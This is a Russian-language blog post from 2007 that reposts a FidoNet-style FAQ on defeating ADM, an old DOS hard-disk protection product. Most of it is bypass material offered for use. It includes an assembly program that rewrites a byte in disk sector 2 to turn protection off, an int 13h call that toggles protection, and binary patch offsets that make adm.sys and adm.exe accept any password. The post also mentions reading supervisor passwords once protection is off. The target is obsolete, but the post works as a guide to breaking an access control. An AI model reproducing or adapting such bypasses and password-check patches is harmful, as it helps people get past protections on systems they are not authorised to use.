среда, 25 апреля 2007 г.

Как получить доступ к информации (r/w) на диске защищенным ADM?

Если речь о старом ADM, который работал еще в PCDOS/MSDOS 3.30,
то там для снятия защиты надо было загрузиться с дискеты и поменять
497-й байт в начальном блоке HDD (1 - защищено, 0 - открыто).
Затем можно было грузиться с HDD и использовать все диски.
Желающие могли также зайти в супервизор и ознакомиться с паролями.
Короче, этот байт определял режим security on/off.

Для тех, кому лень каждый раз редактировать в NU (был такой предок
нынешнего Diskedit в утилитах Hортона версий 3.0-4.0-4.5), у нас
ходили два файла OFF.COM и ON.COM длиной по 43 байта.

Автор этого кода - Игорь Постников 5030/270.14 aka 5030/173.27
mov ax,201h ; B8 01 02
mov dx,80h ; BA 80 00
mov cx,2 ; B9 02 00
lea bx,buf ; 8D 1E 2B 01
int 13h ; CD 13
lea bx,buf ; 8D 1E 2B 01
add bx,497 ; 81 C3 F1 01
mov byte ptr [bx],0 ; C6 07 00 - это и есть байт 0/1
mov ax,301h ; B8 01 03
mov dx,80h ; BA 80 00
mov cx,2 ; B9 02 00
lea bx,buf ; 8D 1E 2B 01
int 13h ; CD 13
int 20h ; CD 20
buf:

*A2:

У ADM есть собственный интеpфейс отключения защиты HА ЛЕТУ.

mov di,0FFFFh
mov dx,di
mov ah,10h
int 13h

Указанный фpагмент pаботает как тpиггеp -
пеpвый pаз отключает защиту, втоpой pаз подключает.
Всем желающим pаздам мылом пpогу, где это все "окультуpено"

*A3:

Патчишь adm.sys ver 1.00 по смещению

0af7h: 75h -> 0ebh
0af8h: 14h -> 0ah

adm.exe ver 1.01 по смещению

05bah: 75h -> 0ebh
05bbh: 13h -> 0ah и будет пропускаться любой пароль

или запиши в абсолютный сектор 2 (cylinder 0, head 0) по смещению
01f1h нолик - защита отключится

*A4:

Можно поступить еще пpоще - загpузиться с DR-DOS'om ;)

Комментариев нет: